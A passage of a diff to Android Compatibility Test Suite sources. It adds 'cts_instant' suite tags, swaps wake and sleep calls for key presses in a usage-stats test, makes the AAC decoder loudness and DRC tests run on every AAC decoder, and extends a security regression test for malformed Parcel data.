         mTargetPackage = InstrumentationRegistry.getContext().getPackageName();
-
+        assumeTrue("App Standby not enabled on device", AppStandbyUtils.isAppStandbyEnabled());
         setAppOpsMode("allow");
     }
 
@@ -740,7 +741,7 @@
 
         // We need to start out with the screen on.
         if (!mUiDevice.isScreenOn()) {
-            mUiDevice.wakeUp();
+            pressWakeUp();
             SystemClock.sleep(1000);
         }
 
@@ -761,7 +762,7 @@
             SparseArray<AggrAllEventsData> baseAggr = getAggrEventData(0);
 
             // First test -- put device to sleep and make sure we see this event.
-            mUiDevice.sleep();
+            pressSleep();
 
             // Do we have one event, going in to non-interactive mode?
             events = waitForEventCount(INTERACTIVE_EVENTS, startTime, 1);
@@ -773,7 +774,7 @@
             // XXX need to wait a bit so we don't accidentally trigger double-power
             // to launch camera.  (SHOULD FIX HOW WE WAKEUP / SLEEP TO NOT USE POWER KEY)
             SystemClock.sleep(500);
-            mUiDevice.wakeUp();
+            pressWakeUp();
             events = waitForEventCount(INTERACTIVE_EVENTS, startTime, 2);
             assertEquals(Event.SCREEN_NON_INTERACTIVE, events.get(0).getEventType());
             assertEquals(Event.SCREEN_INTERACTIVE, events.get(1).getEventType());
@@ -803,7 +804,7 @@
 
         } finally {
             // Dismiss keyguard to get device back in its normal state.
-            mUiDevice.wakeUp();
+            pressWakeUp();
             mUiDevice.executeShellCommand("wm dismiss-keyguard");
         }
     }
@@ -838,4 +839,12 @@
         }
         fail("Should throw SecurityException");
     }
+
+    private void pressWakeUp() {
+        mUiDevice.pressKeyCode(KeyEvent.KEYCODE_WAKEUP);
+    }
+
+    private void pressSleep() {
+        mUiDevice.pressKeyCode(KeyEvent.KEYCODE_SLEEP);
+    }
 }

diff --git a/tests/tests/appwidget/Android.mk b/tests/tests/appwidget/Android.mk
index dea9c46..4e3a218 100644
--- a/tests/tests/appwidget/Android.mk
+++ b/tests/tests/appwidget/Android.mk

@@ -34,7 +34,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)
 

diff --git a/tests/tests/appwidget/packages/launchermanifest/Android.mk b/tests/tests/appwidget/packages/launchermanifest/Android.mk
index f949836..58d6960 100644
--- a/tests/tests/appwidget/packages/launchermanifest/Android.mk
+++ b/tests/tests/appwidget/packages/launchermanifest/Android.mk

@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher1
 
@@ -54,7 +54,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher2
 
@@ -75,7 +75,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_AAPT_FLAGS += --rename-manifest-package android.appwidget.cts.packages.launcher3
 

diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
index 57d6ba8..47d1e05 100644
--- a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml

@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.packages">
 
     <application>
         <activity android:name="AppWidgetConfirmPin">

diff --git a/tests/tests/appwidget/packages/widgetprovider/Android.mk b/tests/tests/appwidget/packages/widgetprovider/Android.mk
index 733a4a8..ef5cc13 100644
--- a/tests/tests/appwidget/packages/widgetprovider/Android.mk
+++ b/tests/tests/appwidget/packages/widgetprovider/Android.mk

@@ -31,7 +31,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -52,7 +52,7 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)
 
@@ -73,6 +73,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)

diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
index 55686cc..67f4f54 100755
--- a/tests/tests/background/Android.mk
+++ b/tests/tests/background/Android.mk

@@ -34,7 +34,7 @@
 
 LOCAL_PACKAGE_NAME := CtsBackgroundRestrictionsTestCases
 
-LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_COMPATIBILITY_SUITE := cts vts cts_instant
 
 LOCAL_SDK_VERSION := test_current
 

diff --git a/tests/tests/colormode/Android.mk b/tests/tests/colormode/Android.mk
index d589a4f..ad1a9c5 100644
--- a/tests/tests/colormode/Android.mk
+++ b/tests/tests/colormode/Android.mk

@@ -29,7 +29,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsColorModeTestCases
 

diff --git a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
index 3ab43ee..74024d2 100644
--- a/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentProviderCursorWindowTest.java

@@ -16,7 +16,9 @@
 
 package android.content.cts;
 
+import android.database.Cursor;
 import android.database.CursorWindowAllocationException;
+import android.database.sqlite.SQLiteException;
 import android.net.Uri;
 import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
@@ -29,13 +31,33 @@
     private static final String TAG = "ContentProviderCursorWindowTest";
 
     public void testQuery() {
+        // First check if the system has a patch for enforcing protected Parcel data
+        Cursor cursor;
         try {
-            getContext().getContentResolver().query(
+            cursor = getContext().getContentResolver().query(
                     Uri.parse("content://cursorwindow.provider/hello"),
                     null, null, null, null);
-            fail("Reading from malformed Parcel should fail due to invalid offset used");
         } catch (CursorWindowAllocationException expected) {
             Log.i(TAG, "Expected exception: " + expected);
+            return;
+        }
+
+        // If the system has no patch for protected Parcel data,
+        // it should still fail while reading from the cursor
+        try {
+            cursor.moveToFirst();
+
+            int type = cursor.getType(0);
+            if (type != Cursor.FIELD_TYPE_BLOB) {
+                fail("Unexpected type " + type);
+            }
+            byte[] blob = cursor.getBlob(0);
+            Log.i(TAG,  "Blob length " + blob.length);
+            fail("getBlob should fail due to invalid offset used in the field slot");
+        } catch (SQLiteException expected) {
+            Log.i(TAG, "Expected exception: " + expected);
+        } finally {
+            cursor.close();
         }
     }
 }

diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 9bec237..51d18a5 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk

@@ -35,7 +35,7 @@
 LOCAL_PACKAGE_NAME := CtsDatabaseTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 # Enforce public / test api only
 LOCAL_SDK_VERSION := test_current

diff --git a/tests/tests/display/Android.mk b/tests/tests/display/Android.mk
index 86f011d..97a1492 100644
--- a/tests/tests/display/Android.mk
+++ b/tests/tests/display/Android.mk

@@ -32,7 +32,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsDisplayTestCases
 

diff --git a/tests/tests/dpi/Android.mk b/tests/tests/dpi/Android.mk
index e6686bc..951827d 100644
--- a/tests/tests/dpi/Android.mk
+++ b/tests/tests/dpi/Android.mk

@@ -33,7 +33,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)
 

diff --git a/tests/tests/dpi2/Android.mk b/tests/tests/dpi2/Android.mk
index f366781..de8f65a 100644
--- a/tests/tests/dpi2/Android.mk
+++ b/tests/tests/dpi2/Android.mk

@@ -33,6 +33,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)

diff --git a/tests/tests/dreams/Android.mk b/tests/tests/dreams/Android.mk
index f1a31d8..870a635 100644
--- a/tests/tests/dreams/Android.mk
+++ b/tests/tests/dreams/Android.mk

@@ -35,6 +35,6 @@
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 include $(BUILD_CTS_PACKAGE)

diff --git a/tests/tests/gesture/Android.mk b/tests/tests/gesture/Android.mk
index b7bd036..570a9b4 100755
--- a/tests/tests/gesture/Android.mk
+++ b/tests/tests/gesture/Android.mk

@@ -30,7 +30,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_PACKAGE_NAME := CtsGestureTestCases
 

diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 2dbebd7..4e04286 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java

@@ -36,6 +36,7 @@
 import org.junit.runner.RunWith;
 
 import java.io.UnsupportedEncodingException;
+import com.android.compatibility.common.util.CddTest;
 
 /**
  * Test that the Vulkan loader is present, supports the required extensions, and that system
@@ -98,7 +99,7 @@
         mVulkanDevices = getVulkanDevices();
         mBestDevice = getBestDevice();
     }
-
+    @CddTest(requirement="7.1.4.2/C-1-1,C-2-1")
     @Test
     public void testVulkanHardwareFeatures() throws JSONException {
         if (DEBUG) {
@@ -167,6 +168,7 @@
         }
     }
 
+    @CddTest(requirement="7.9.2/C-1-5")
     @Test
     public void testVulkan1_1Requirements() throws JSONException {
         if (mVulkanHardwareVersion == null || mVulkanHardwareVersion.version < VULKAN_1_1)

diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index d8b1ce4..4a76b8e 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk

@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit
 

diff --git a/tests/tests/media/res/raw/heifwriter_input.heic b/tests/tests/media/res/raw/heifwriter_input.heic
index ceaff92..1f4573a 100644
--- a/tests/tests/media/res/raw/heifwriter_input.heic
+++ b/tests/tests/media/res/raw/heifwriter_input.heic
Binary files differ

diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index 86615f5..e4911ed 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java

@@ -39,6 +39,7 @@
 
 import java.io.IOException;
 import java.nio.ByteBuffer;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 
@@ -63,7 +64,7 @@
         // full boost, full cut, target ref level: -23dBFS, heavy compression: no
         DrcParams drcParams = new DrcParams(127, 127, 92, 0);
         short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drclevel_mp4,
-                -1, null, drcParams);
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
         DecoderTest decTester = new DecoderTest();
         decTester.checkEnergy(decSamples, decParams, 2, 0.70f);
     }
@@ -76,7 +77,7 @@
     public void testDecodeAacDrcFullM4a() throws Exception {
         AudioParameter decParams = new AudioParameter();
         short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcfull_mp4,
-                -1, null, null);
+                -1, null, null, null /*decoderName: use default decoder*/);
         DecoderTest decTester = new DecoderTest();
         decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
     }
@@ -91,7 +92,7 @@
         // half boost, half cut, target ref level: -20dBFS, heavy compression: no
         DrcParams drcParams = new DrcParams(63, 63, 80, 0);
         short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drchalf_mp4,
-                -1, null, drcParams);
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
         DecoderTest decTester = new DecoderTest();
         decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
     }
@@ -106,7 +107,7 @@
         // no boost, no cut, target ref level: -16dBFS, heavy compression: no
         DrcParams drcParams = new DrcParams(0, 0, 64, 0);       // normalize to -16dBFS
         short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcoff_mp4,
-                -1, null, drcParams);
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
         DecoderTest decTester = new DecoderTest();
         decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
     }
@@ -121,7 +122,7 @@
         // full boost, full cut, target ref level: -16dBFS, heavy compression: yes
         DrcParams drcParams = new DrcParams(127, 127, 64, 1);
         short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drcheavy_mp4,
-                -1, null, drcParams);
+                -1, null, drcParams, null /*decoderName: use default decoder*/);
         DecoderTest decTester = new DecoderTest();
         decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
     }
@@ -134,7 +135,7 @@
     public void testDecodeAacDrcClipM4a() throws Exception {
         AudioParameter decParams = new AudioParameter();
         short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcclip_mp4,
-                -1, null, null);
+                -1, null, null, null /*decoderName: use default decoder*/);
         checkClipping(decSamples, decParams, 248.0f /* Hz */);
     }
 
@@ -152,35 +153,42 @@
     public void testDecodeUsacLoudnessM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacLoudnessM4a");
 
-        // test default loudness
-        // decoderTargetLevel = 64 --> target output level = -16.0 dBFs
-        try {
-            checkUsacLoudness(DEFAULT_DECODER_TARGET_LEVEL, 1, 1.0f);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed");
-            throw new RuntimeException(e);
-        }
+        ArrayList<String> aacDecoderNames = DecoderTestXheAac.initAacDecoderNames();
+        assertTrue("No AAC decoder found", aacDecoderNames.size() > 0);
 
-        // test loudness boost
-        // decoderTargetLevel = 40 --> target output level = -10.0 dBFs
-        // normFactor = 1/(10^(-6/10)) = 3.98f
-        //    where "-6" is the difference between the default level (-16), and -10 for this test
-        try {
-            checkUsacLoudness(40, 1, (float)(1.0f/Math.pow(10.0f, -6.0f/10.0f)));
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness boost failed");
-            throw new RuntimeException(e);
-        }
+        for (String aacDecName : aacDecoderNames) {
+            // test default loudness
+            // decoderTargetLevel = 64 --> target output level = -16.0 dBFs
+            try {
+                checkUsacLoudness(DEFAULT_DECODER_TARGET_LEVEL, 1, 1.0f, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+                        aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // test loudness attenuation
-        // decoderTargetLevel = 96 --> target output level = -24.0 dBFs
-        // normFactor = 1/(10^(8/10)) = 0.15f
-        //     where -8 is the difference between the default level (-16), and -24 for this test
-        try {
-            checkUsacLoudness(96, 0, (float)(1.0f/Math.pow(10.0f, 8.0f/10.0f)));
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed");
-            throw new RuntimeException(e);
+            // test loudness boost
+            // decoderTargetLevel = 40 --> target output level = -10.0 dBFs
+            // normFactor = 1/(10^(-6/10)) = 3.98f
+            //   where "-6" is the difference between the default level (-16), and -10 for this test
+            try {
+                checkUsacLoudness(40, 1, (float)(1.0f/Math.pow(10.0f, -6.0f/10.0f)), aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness boost failed for " + aacDecName);
+                throw new RuntimeException(e);
+            }
+
+            // test loudness attenuation
+            // decoderTargetLevel = 96 --> target output level = -24.0 dBFs
+            // normFactor = 1/(10^(8/10)) = 0.15f
+            //     where 8 is the difference between the default level (-16), and -24 for this test
+            try {
+                checkUsacLoudness(96, 0, (float)(1.0f/Math.pow(10.0f, 8.0f/10.0f)), aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
         }
     }
 
@@ -307,16 +315,16 @@
     /**
      * USAC test DRC loudness
      */
-    private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor)
-            throws Exception {
+    private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor,
+            String decoderName) throws Exception {
         AudioParameter decParams = new AudioParameter();
         DrcParams drcParams_def  = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
         DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
 
         short[] decSamples_def = decodeToMemory(decParams, R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
-                -1, null, drcParams_def);
+                -1, null, drcParams_def, decoderName);
         short[] decSamples_test = decodeToMemory(decParams, R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
-                -1, null, drcParams_test);
+                -1, null, drcParams_test, decoderName);
 
         DecoderTestXheAac decTesterXheAac = new DecoderTestXheAac();
         float[] nrg_def  = decTesterXheAac.checkEnergyUSAC(decSamples_def, decParams, 2, 1);
@@ -388,7 +396,7 @@
     //          - no need/use of resetMode, configMode
     //       Split method so code can be shared
     private short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams)
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
             throws IOException
     {
         String localTag = TAG + "#decodeToMemory";
@@ -413,7 +421,11 @@
         assertTrue("not an audio file", mime.startsWith("audio/"));
 
         MediaFormat configFormat = format;
-        codec = MediaCodec.createDecoderByType(mime);
+        if (decoderName == null) {
+            codec = MediaCodec.createDecoderByType(mime);
+        } else {
+            codec = MediaCodec.createByCodecName(decoderName);
+        }
 
         // set DRC parameters
         if (drcParams != null) {

diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index cc294a9..2c549f2 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java

@@ -25,6 +25,7 @@
 import android.media.cts.DecoderTestAacDrc.DrcParams;
 import android.media.MediaCodec;
 import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
 import android.media.MediaCodecInfo.CodecCapabilities;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
@@ -40,6 +41,7 @@
 
 import java.io.IOException;
 import java.nio.ByteBuffer;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 
@@ -48,11 +50,39 @@
 
     private Resources mResources;
 
+    // list of all AAC decoders as enumerated through the MediaCodecList
+    // lazy initialization in setUp()
+    private static ArrayList<String> sAacDecoderNames;
+
     @Before
     public void setUp() throws Exception {
         final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
         assertNotNull(inst);
         mResources = inst.getContext().getResources();
+        // build a list of all AAC decoders on which to run the test
+        if (sAacDecoderNames == null) {
+            sAacDecoderNames = initAacDecoderNames();
+        }
+    }
+
+    protected static ArrayList<String> initAacDecoderNames() {
+        // at least 1 AAC decoder expected
+        ArrayList<String> aacDecoderNames = new ArrayList<String>(1);
+        final MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        final MediaCodecInfo[] mediaCodecInfos = mediaCodecList.getCodecInfos();
+        for (MediaCodecInfo mediaCodecInfo : mediaCodecInfos) {
+            if (mediaCodecInfo.isEncoder()) {
+                continue;
+            }
+            final String[] mimeTypes = mediaCodecInfo.getSupportedTypes();
+            for (String mimeType : mimeTypes) {
+                if (MediaFormat.MIMETYPE_AUDIO_AAC.equalsIgnoreCase(mimeType)) {
+                    aacDecoderNames.add(mediaCodecInfo.getName());
+                    break;
+                }
+            }
+        }
+        return aacDecoderNames;
     }
 
     /**
@@ -62,112 +92,119 @@
     public void testDecodeUsacDrcEffectTypeM4a() throws Exception {
         Log.v(TAG, "START testDecodeUsacDrcEffectTypeM4a");
 
-        // test DRC effectTypeID 1 "NIGHT"
-        // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-        // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
-        try {
-            checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type Night failed");
-            throw new RuntimeException(e);
-        }
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
 
-        // test DRC effectTypeID 2 "NOISY"
-        // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
-        // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        try {
-            checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type Noisy failed");
-            throw new RuntimeException(e);
-        }
+        for (String aacDecName : sAacDecoderNames) {
+            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
+            // test DRC effectTypeID 1 "NIGHT"
+            // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+            // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+            try {
+                checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // test DRC effectTypeID 3 "LIMITED"
-        // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-        try {
-            checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type Limited failed");
-            throw new RuntimeException(e);
-        }
+            // test DRC effectTypeID 2 "NOISY"
+            // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+            // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+            try {
+                checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // test DRC effectTypeID 6 "GENERAL"
-        // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-        // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
-        try {
-            checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type General failed");
-            throw new RuntimeException(e);
-        }
+            // test DRC effectTypeID 3 "LIMITED"
+            // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+            // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+            try {
+                checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // test DRC effectTypeID 1 "NIGHT"
-        // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
-        // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
-        try {
-            checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
-        }
+            // test DRC effectTypeID 6 "GENERAL"
+            // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+            // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+            try {
+                checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
+                        + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // test DRC effectTypeID 2 "NOISY"
-        // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-        // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
-        // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
-        try {
-            checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
-        }
+            // test DRC effectTypeID 1 "NIGHT"
+            // L    -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+            // R    +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+            // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+            try {
+                checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
+            try {
+                checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
+            } catch (Exception e) {
+                Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
+                throw new RuntimeException(e);
+            }
 
-        // test DRC effectTypeID 3 "LIMITED"
-        // L    -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-        // R    +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
-        // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
-        try {
-            checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
-        }
-        try {
-            checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1);
-        } catch (Exception e) {
-            Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
-            throw new RuntimeException(e);
-        }
+            // test DRC effectTypeID 2 "NOISY"
+            // L    +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+            // R    -9dB -> normalization factor = 1/(10^(-9/10))  = 0.1258f
+            // mono +6dB -> normalization factor = 1/(10^( 6/10))   = 3.9810f
+            try {
+                checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
